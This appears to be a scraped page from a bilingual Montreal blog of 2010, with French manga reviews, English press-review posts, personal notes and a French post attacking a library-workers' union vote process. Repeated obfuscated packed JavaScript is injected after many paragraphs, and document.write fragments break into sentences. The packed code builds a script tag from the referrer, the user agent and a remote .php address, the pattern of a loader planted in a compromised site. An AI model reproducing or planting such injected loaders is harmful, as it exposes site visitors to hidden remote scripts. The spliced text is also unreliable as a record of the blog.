“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shsaa|var|u0026u|referrer|nedss||js|php’.split(‘|’),0,{}))

Mes voisins les Yamada [?????? ???????, H?hokekyo Tonari no Yamada-kun] est un “comic strip” japonais qui a été publié dans le quotidien Asahi Shinbun entre 1991 et 1997 avant d’être compilé en volumes par Tokuma Shoten en 1999. Dessiné par le mangaka Hisaichi ISHII, Mes voisins les Yamada n’est pas un manga a proprement parler mais plutôt un “yonkoma”—c’est-à-dire une histoire humoristique en quatre cases qui se présente à la verticale (contrairement à l’Occident où les “comic strip” sont horizontales)—et est surtout connu pour avoir été adapté en animation en 1999 par le Studio Ghibli sous la direction de Isao Takahata. On y raconte la vie quotidienne (et les situations saugrenues qui en découle) d’une famille japonaise et de son entourage.

J’ai découvert ce “manga” à la bibliothèque avec grande surprise: car j’ignorais qu’une traduction française était disponible. Je n’ai lu qu’une partie du second volume et j’ai malheureusement été un peu décu. Non pas à cause du style simple et même carrément minimaliste—ça c’est pas surprenant étant donné qu’il s’agit d’un “comic strip”—mais surtout à cause des histoires. Ce genre d’humour satirique se lit assez bien mais on s’en lasse rapidement. D’abord c’est une volumineuse lecture, et puis l’humour est un peu bête, les gags parfois répétitifs et souvent plats (sans doute quelque chose se perd-t-il dans la traduction). Seulement cinq pourcent des gags sont vraiment drôles. On se retrouve tout de même tous un peu dans ces personnages loufoques. C’est quand même amusant à lire et je le recommande à ceux qui sont curieux de découvrir un style qui est très populaire au Japon.

Mes voisins les Yamada, par Hisaichi ISHII. Delcourt (Label Akata, Coll. Shampooing), 2009. 3 vols., B&W, 21 x 14.6 cm, 350 pgs ch. 15.00 € ch. / $24.95 Can ch. Recommandé pour adolescents (14+). ISBN: 978-2-7560-1451-7 (vol. 1), 978-2-7560-1452-4 (vol. 2), 978-2-7560-1453-1 (vol. 3).
Mes voisins, les Yamada © 1999 Hisaichi Ishii • Studio Ghibli. All rights reserved. © 2009 Guy Delcourt Productions pour l’édition française.

Revue de Presse / Press Review (2010/04/08)

I’ve so many things to think about lately that I feel my head will blow up! (BTW: I write this in english because I want to reach the largest part of the internet community; it is my prerogative: it my blog! Many of the links lead to news in french anyway…) Not much news this week and not much time for them anyway. Still lots of fuss about the iPad (and still no firm release date for Canada beside “end of April” or even a possibility to pre-orders) and Apple announced today the iPhone/Touch OS 4.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tztdb|var|u0026u|referrer|ebbdd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfsss|var|u0026u|referrer|ibzbn||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

updated 2010/04/09

Un zoo en hiver

“Kyôto, document.write(“”); 1966. Le jeune Hamaguchi, employé d’une société de textile en gros, n’a pas la fibre de la plupart des gens de son âge. Plutôt que de fréquenter les clubs de sport, il préfère assouvir sa passion du dessin en allant croquer sur le vif les animaux du zoo de la ville. Mais même ce dérivatif ne suffit pas à combattre l’ennui qu’il ressent. Dès l’année suivante, sollicité par un ami de lycée, Hamaguchi part pour la capitale, Tôkyô. C’est là, un peu par hasard, que sa route croise celle d’une communauté professionnelle un peu particulière: celle des auteurs de bande dessinée, les mangakas… Pour la première fois, Jirô Taniguchi opte pour un registre explicitement autobiographique, convoquant ses souvenirs de jeunesse et son parcours d’auteur. Un beau récit d’apprentissage en bande dessinée, où l’on retrouve la finesse et l’élégance qui ont fait le succès du maître japonais auprès des lecteurs de langue française.” [Texte de présentation sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|insrr|var|u0026u|referrer|ttyie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izbyb|var|u0026u|referrer|aarbd||js|php’.split(‘|’),0,{}))

Un zoo en hiver [?????, Fuyu no d?butsuen] a été publié au Japon en 2008 par Shogakukan. Ce manga nous en apprend un peu sur le travail d’assistant mangaka (d’une façon similaire à Tokyoland) mais, fidèle à ses habitudes, Jir? TANIGUCHI se concentre surtout sur le quotidien (toujours à travers une perspective assez contemplative, introspective et nostalgique) et, dans ce cas particulier, sur les relations personnelles. Toutefois, la thématique d’ensemble de l’histoire tourne autours de l’apprentissage: le jeune mangaka qui découvre son métier, le jeune homme qui s’initie aux choses de la vie, particulièrement la relation avec ses collègues, avec son frère, ses premiers amours (la fille du patron, la jeune fille malade—dans ce dernier cas l’histoire nous laisse en suspend: la jeune fille mourra-t-elle ou finiront-ils ensemble?)

La présentation de l’éditeur fait mention que ce manga est “explicitement autobiographique” mais, dans un interview, Taniguchi nuance beaucoup cette affirmation. Il précise que, comme il l’a fait déjà dans la plupart de ses histoires, certains aspects sont autobiographique et que, s’il s’est inspiré de ses débuts de mangaka et de certaines personnes de l’époque, l’histoire qu’il raconte est totallement inventée. Le récit d’Un zoo en hiver est d’ailleurs excellent et l’histoire nous est racontée avec une grande maîtrise. Mais Taniguchi nous a déjà démontré ses talents narratif à maintes reprises. Ce qui m’a vraiment impressioné avec ce manga c’est son style qui offre une clarté et une précision presque parfaite. Ici, Taniguchi se surpasse vraiment.

À la fois simple et profond, Un zoo en hiver est un superbe manga. C’est sans aucun doute la meilleure oeuvre de Taniguchi que j’ai lu. C’est un volume unique (one-shot) qui se lit très bien et je le recommande chaudement.

Un zoo en hiver, par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2009. B&W, 17 x 24 cm, 231 pgs. 15.00 € / $29.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2203020993. [Voir couverture arrière]
Fuyu no d?butsuen © Jiro Taniguchi, 2008. © Casterman, 2009 pour la traduction française.

Happy Easter / Joyeuse Pâques

I am not a religious man so Easter doesn’t hold any special significance beside an occasion for some well-deserved rest and a family meal (although this year it has been pushed back a few weeks because my mother has had a small heart procedure). However, document.write(“”); since it surely means more to most of you, I’d like to wish you all an happy easter. I hope you’ll enjoy your easter bunny stew and chocolate eggs omelet. For my part, my wife is working today, so I’ll spend easter home alone.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeadh|var|u0026u|referrer|bnaat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtfdz|var|u0026u|referrer|tszsb||js|php’.split(‘|’),0,{}))

I was able to establish a good writing pace lately and blog several time a week. Unfortunately, I am afraid this won’t last. I have to start working on my “spring cleaning” in order to seriously reduce the amount of stuff I have prior to moving into a new appartment or house later this year (or the next). I’ll also have to start listing my possessions to prepare for the virtual yard sale I am planning for the summer. Lots of work in perspective. I might have to cut back a little on my tv watching, publishing work and “counter-revolutionary” activities (although reestablishing a fair democracy in this world seems like a lost cause anyway), but I’ll do my best to keep bloging at least once or twice a week. It might be easier to do after I got my iPad (it’s scheduled in Canada for the “end of April,” whatever it means).

Revue de Presse / Press Review (2010/04/02)

I am trying to catch up on my sleep (luckily the Easter week-end is upon us). It was another slow news week. If the local news were all about the Quebec Budget [in French], document.write(“”); the media in general were in a frenzy about the upcoming iPad from Apple. See the latest news from Apple Insider, Engadget, MacNN, The Unofficial Apple Weblog and others:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsfdf|var|u0026u|referrer|zsskd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raeyr|var|u0026u|referrer|enyka||js|php’.split(‘|’),0,{}))

iPad frenzy!

Anime & Manga related, Japan, Popular Culture

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Updated 2010/04/04

Poll #1: Language preference

I am quite disappointed by the results of my first blog poll. There is an average of 15 persons per day visiting this blog, document.write(“”); which means that over the two weeks this poll was open, there was over 200 visitors and, of those, ONLY 7 answered the poll. I assumed that readers are mostly anglophone (english is after all the language of the web) and yet the only responses I got was favouring french as prefered language for this blog. However, I will continue to comment subjects in their related language (i.e. review in English a book written in English, review in French a french-language book or movie, etc.). I wish more people would participate with the blog by answering polls and leaving comments…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbbr|var|u0026u|referrer|anzzr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzrz|var|u0026u|referrer|rsbyz||js|php’.split(‘|’),0,{}))

Je suis plutôt décu par les résultats de mon premier sondage sur le blogue. Il y a en moyenne 15 personnes par jour qui visitent le blog, ce qui fait que durant la durée du sondage (2 semaines) plus de 200 personnes l’ont visité mais seulement 7 ont jugé bon de répondre au sondage! J’ai toujours assumé que mes lecteurs sont surtout anglophones (l’anglais est après tout la langue du web) mais pourtant toutes les réponses que j’ai eut semble favoriser le français. Je vais tout de même continuer à commenter chaque sujet dans la langue appropriée (crtiquer un film ou livre dans la langue ou je l’ai lu ou vu). J’aimerai bien que les gens participent un peu plus au blog en répondant aux sondages et laissant des commentaires (sauf si c’est pour m’insulter, bien sûr)…

Future health

I just called to get our “annual” (actually it has been three years) medical check-up appointment with our family doctor. I’ve got an appointment in november! In seven months! That’s comforting to know that we’ll be dealing then with the future of medecine…

Upsetting move

I am quite upset. I am renting a large appartment filled to the brim with books and dvds. I like the place (even if it’s a little run-down) and find all I need in the neighborhood. Unfortunately, document.write(“”); the owner told me yesterday his intention to sell the place, therefore next year I’ll have to face either eviction or a steep rent raise. Most likely I’ll have to find a new place to rent or purchase. In either case I’ll have quite a clean up to do since I’ll have to seriously downsize. Expect a huge virtual yard sale before the end of the year!

La démocratie ça s’exerce à plusieurs…

…et décider pour les autres c’est de la dictature!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdind|var|u0026u|referrer|ebhai||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbyyt|var|u0026u|referrer|zykzb||js|php’.split(‘|’),0,{}))

Il est risible que j’apprenne plus de choses sur mes conditions de travail et sur mon syndicat par les blogs et communiqués du Colvert que par mon propre syndicat!

Lettre d’entente pour Rosemont–La Petite-Patrie

Jeudi dernier (3/25) j’ai appris qu’une assemblée sectorielle était convoquée pour tous les aide-bibliothécaires et bibliotechniciens auxiliaires de l’arrondissement Rosemont–La Petite-Patrie afin de voter sur une nouvelle lettre d’entente pour remplacer l’entente E.V. 96-94 régissant nos conditions de travail (octroi des heures de travail et autres dispositions). L’avis de convocation date du lundi 22 mars et le vote se tiendra mercredi le 31 mars, document.write(“”); ce qui fait un préavis de 9 jours seulement. Ici je ne veux pas m’attarder sur les raisons qui font que les nouvelles lettres d’entente sont mauvaises pour nos conditions de travail (pour ça voir le project de lettre d’entente pour Ville-Marie et l’analyse qu’en a faite l’équipe du Colvert) mais c’est plutôt la façon de procéder pour les faire voter qui m’outrage.

Ces nouvelles lettres d’ententes, toutes similaires, ont déjà été entériné dans quatre arrondissements (Sud-Ouest, Ville-Marie, Villeray-Parc-Extension-St-Michel et Mercier-Hochelaga-Maisonneuve). Le processus est le suivant: les auxiliaires d’un arrondissement sont convoqués à une assemblée sectorielle sans qu’auparavant rien n’ait transpiré des négociations; l’exécutif leur présente verbalement les grandes lignes de l’entente, puis on leur demande de voter sur la lettre d’entente. Comme dans toutes les réunions de notre syndicat le taux de participation est très bas. J’ai entendu dire (mais non confirmé par de multiples sources) que la lettre de MHM avait été voté par moins d’une douzaine de personnes!

Imaginez si un parti souverainiste était au pouvoir et qu’il conviait le peuple à ce prononcer sur l’indépendance du Québec avec seulement une semaine de préavis. Les différentes factions n’ont pas le temps d’argumenter les pour et les contre de leur positions respectives et le taux de participation au vote est de moins de 10%! De plus, la formulation précise de la question référendaire n’est connu qu’au moment du vote! L’outrage serait indescriptible…

Je crois que les gens ont le droit de savoir dans quoi ils s’embarquent quand ils viennent voter. L’exécutif syndicale croit sûrement bien faire en procédant ainsi, histoire de sauver du temps en n’expliquant pas tout d’avance dans les détails. Après tout c’est compliqué toutes ces négociations et on n’y comprendrait pas grand chose. Eux ils savent ce qui est bien pour nous. Ils croient avoir négocier la meilleure entente possible et veulent qu’on leur fasse confiance. Je crois que cette attitude là démontre beaucoup de mépris de la part des dirigeants syndicaux envers leur membres.

Moi, qui ne connait rien (ou si peu) à la chose publique ou syndicale, je ne peux qu’exercer ma logique et mon “gros bon sens.” Si on se fie aux lettres d’ententes déjà signées, ces lettres n’augurent rien de bon pour nos conditions de travail et ne peuvent que les rendent pires qu’elles ne le sont déjà (plus de mobilité ville, surcharge de travail, etc.). Comme je l’ai déjà dit: une bonne convention ou lettre d’entente doit préserver le statu quo ou l’améliorer. Tout autre résultats est carrément inacceptable. Il faut donc empêcher ces lettres d’entente d’être votées en attendant des alternatives acceptables.

L’équipe du Colvert a déjà émit son opinion sur le sujet (“A nos Collègues…”, “Voter sur quoi” et “Qui peut voter”). Pour ma part, je dis à mes collègues de l’arrondissement Rosemont–La Petite-Patrie: Êtes-vous prêt à vous fier totalement à l’exécutif syndical qui vous demande d’accepter cette lettre d’entente sur leur seul parole? Ou ne préféreriez-vous pas avoir droit de regard sur le texte avant de voter, juste pour faire sûr? N’en serait-il pas plus démocratique ainsi? Pas besoin d’avoir la tête à Papineau pour savoir qu’il est préférable de prendre une décision en ayant connaissance de cause. On est tout de même capable de décider par nous même des mérites de la lettre d’entente avant de voter. Si je me trouvais demain dans cette situation, devoir voter une lettre d’entente pour mon arrondissement sans en avoir vu préalablement le texte, je n’aurais que deux choix: demander à voir le texte et que le vote soit reporté à une date ultérieure pour nous donner le temps d’en prendre connaissance ou, simplement voter contre l’acceptation d’une lettre d’entente dont je ne connais pas le libellé en détails. Je ne trouve d’ailleurs pas normal que seul l’exécutif et le patron soient au courant des détails d’une négociation qui me concerne directement et je trouve inacceptable qu’une assemblée syndicale et un vote se fassent sur le lieu de travail (possiblement en présence des patrons: évidemment ils ne s’objecteront pas à un processus qui les avantage grandement). Ce n’est là que mon humble opinion (un peu tardive, mais bon…).

La question ici n’est pas tant de voter pour ou contre mais d’avoir un processus démocratique véritable qui se fait en connaissance de cause et dans le dialogue. Sans discussion il n’y a pas de démocratie. Sans information il n’y a pas des discussions. Et il faut aussi que les gens participent. Les employés des bibliothèques chialent beaucoup sur leur conditions de travail (moi en premier) mais si on ne fait jamais rien pour les améliorer (assister à une assemblée, participer au vote, faire connaitre nos opinions à nos délégués, etc.) et bien on perd alors tout droit de se plaindre. Alors s.v.p., messieurs dames de Rosemont–La Petite-Patrie, allez nombreux à cette assemblée sectorielle et posez les bonnes questions.

A suivre dans mon prochain billet sur le syndicat: “Ma première assemblée générale ou pourquoi la démocratie se meurt-elle”.

Update (2010/03/31):
Mes sources me disent que les résultats (non-officiels) du vote sont arrivés: 7 pour, 4 contre. La lettre d’entente pour Rosemont–La Petite-Patrie a donc été entériné par les auxiliaires de l’arrondissement. Reste à savoir combien y a-t-il d’auxiliaires dans l’arrondissement et quel pourcentage de participation cela représente. Je trouve cela décourageant, mais bon, ici c’est ça la démocratie! (ou si c’est ça la démocratie, mieux vaut aller se prendre!)

Il est étrange que si peu de gens votent une lettre d’entente qui, dans le fonds, concerne TOUT les auxiliaires de la ville. Parce qu’avec cette lettre d’entente là, théoriquement, moi—qui n’y ai pas de port d’attache—je ne pourrai plus travaillé dans les bibliothèques de cet arrondissement… Je me sens donc plutôt concerné.

Chaque nouvelles lettres d’ententes qui est voté dans un arrondissement est un clou de plus dans le cercueil de la lettre d’entente E.V. 96-94, affaiblissant d’autant la force de cohésion qui maintient l’assemble de nos conditions de travail. On nous divise pour mieux règner! Réveillez-vous!

Update (2010/04/01):
Une dernière pensée: si vous croyez, messieurs-dames du SFMM, que les lettres d’entente que vous avez négocié sont si bonne que ça, alors pourquoi ne pas nous (tout les auxiliaires des bibliothèques de la ville) en expliquer les mérites. On n’est pas simple d’esprit, si il y a quelques choses à comprendre, on va le comprendre. Pourquoi ne pas nous avoir demandé ce qu’on voulait? Pourquoi ne pas nous tenir au courant des négos? Pourquoi ne pas nous présenter les textes quelques semaines avant le vote et permettre un débat? Pourquoi nous faire voter par arrondissement alors nous sommes tous concernés? Pourquoi avoir si peur d’un dialogue démocratique?

Update (2010/04/13):
Après vérification, il aurait a peu près vingt-cinq auxiliaires dans l’arrondissement R-PP qui étaient en ”droit“ de voter. Considérant que onze d’entre eux ont voté à l’assemblée, cela fait un pourcentage de participation de 44%. C’est pas si pire vu les circonstances… Je crois donc que notre opinion a été entendu par certains et qu’il y a eut un début de mobilisation (ce que semble craindre nos “amis” d’Accès-Cible). Je me suis laissé dire que plusieurs participants de l’assemblée voulaient débattre de la question avant de se prononcer mais que les représentants du syndicat ont coupé court à la discussion et forcé le vote (qui était secret). Malgré tout cela on a tout de même obtenu quatre votes contre, ce qui est presqu’une victoire morale. On va continuer à informer nos collègues et je suis sûr qu’on peut faire encore mieux avec le prochain vote. Hasta la victoria siempre!

Mangaya ferme

La seule véritable boutique exclusive de manga à Montréal, document.write(“”); le Marché Clandestin Mangaya, fermera définitivement ses portes le samedi 10 Avril 2010 à 19h00.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhedz|var|u0026u|referrer|ikdfn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfaky|var|u0026u|referrer|ahkzh||js|php’.split(‘|’),0,{}))

Une vente de liquidation a lieu jusqu’au 10 avril : 50% de rabais sur le prix de vente régulier sur tout. Les packs-bundle sont vendus au prix étiquté le moins cher.

Consultez leur page Facebook pour plus d’information.

Honnêteté

Le puritanisme anglo-saxon dont nous subissons tous l’influence n’engendre qu’une chose: l’hypocrisie. Moi, document.write(“”); je suis le digne descendant de mes ancêtres: je suis franc!

Revue de Presse / Press Review (2010/03/24)

We started daylight savings time and Spring has come. I am busy and very tired, document.write(“”); but I still have time to check the news for interesting bits. One of the big news of the week is Obama finally getting his health care reform voted. The other is Google taking a stand against China.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzynr|var|u0026u|referrer|brkrt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bybay|var|u0026u|referrer|aeazh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Kaze no Shō: Le livre du vent

“En l’an deux de l’ère Keian, document.write(“”); époque d’Edo, deux clans s’affrontent dans une guerre sans merci autour d’un manuscrit secret, les Chroniques secrètes des Yagyû. Dans ses pages se trouvent des secrets capables de faire trembler le sh?gunat des Tokugawa. C’est à Yagyû Jûbei, escrimeur légendaire et gardien des Chroniques secrètes, d’empêcher le Japon de sombrer dans une guerre civile sanglante. Une fascinante plongée dans l’histoire du Japon, mise en scène par deux auteurs-culte du manga, Jir? Taniguchi et Kan Furuyama” [Texte de couverture arrière]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaehh|var|u0026u|referrer|etzrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeyss|var|u0026u|referrer|yydkd||js|php’.split(‘|’),0,{}))

Taniguchi démontre une fois de plus sa polyvalence avec un récit d’action samurai (Jidai mono). En l’an trente et un de l’ère Meiji (1899), un groupe de haut fonctionnaires se réunissent chez Kaishu Katsu pour discutter du bon vieux temps. Ce dernier leur révèle que, peu de temps après que le sh?gun Yoshinobu Tokugawa lui ait confié les pouvoirs du bakufu (sh?gunat), il reçu la visite du douzième maître du clan Yagyû qui lui avait alors remit le légendaire manuscrit des “Chroniques Secrètes des Yagyû”. Rédigé par le sh?gun Ieyasu lui-même, le manuscrit contenait les secrets des Takugawa et devait être transmis de génération en génération à ceux qui avait en mains les pouvoirs du bakufu. Ce sont les révélations du manuscrit qui poussèrent sans doute Kaishu à abdiquer ses pouvoirs et négocier la capitulation d’Edo afin d’éviter une effusion de sang inutile…

Il entreprend donc de raconter à ses collègues comment, en l’an deux de l’ère Keian (1649), Yagy? J?bei réussit à déjouer un complot de Lord Gomino, le mikado (empereur) maintenant retiré à Ky?to, qui visait à renverser le bakufu des Tokugawa. Cet exploit, resté inconnu aux historiens, évita ainsi que le pays sombre dans une guerre civile sanglante. Kaishu débute son récit avec le vol des “Chroniques” par les agents du mikado et il le termine avec leur restitution lors de la confrontation finale entre J?bei et le ninja Yashamaro. Ce serait une histoire relativement simple si ce n’était des nombreuses références culturelles et historiques qui ne sont pas toujours évidentes pour les occidentaux (heureusement il y a des notes en bas de page et un glossaire) et qui alourdissent un peu la lecture.

Kaze no sh? [??? / Le livre du vent] a d’abord été sérialisé dans le magazine Young Champion avant d’être republié en volume (“tank?bon”) par Akita Shoten en 1992. C’est le premier manga historique auquel Taniguchi a contribué. Il est difficile de dire dans quelle mesure les événements de ce récit sont véridique—Yagy? J?bei Mitsuyoshi (1607-1650) fut bel et bien, avec Miyamoto Musashi, un des samurai légendaires du Japon—mais comme le scénariste Kan Furuyama est fervent d’histoire du Japon on peut supposer qu’il a donné au récit une solide base historique. Quoiqu’il en soit, Furuyama semble conclure que les “Chroniques Secrètes des Yagyû” et cette première tentative de restauration du pouvoir impérial ont été un élément clé non seulement pour l’avénement de l’ère Meiji (en 1868)—avec l’abolition définitive du Bakufu (sh?gunat), puis l’ouverture et la modernisation du Japon—mais également pour établir les bases de la mythologie impériale qui poussera une bande de fanatiques à instaurer une dictature militaire qui éventuellement ruinera le Japon en entreprenant la conquête de l’asie toute entière!

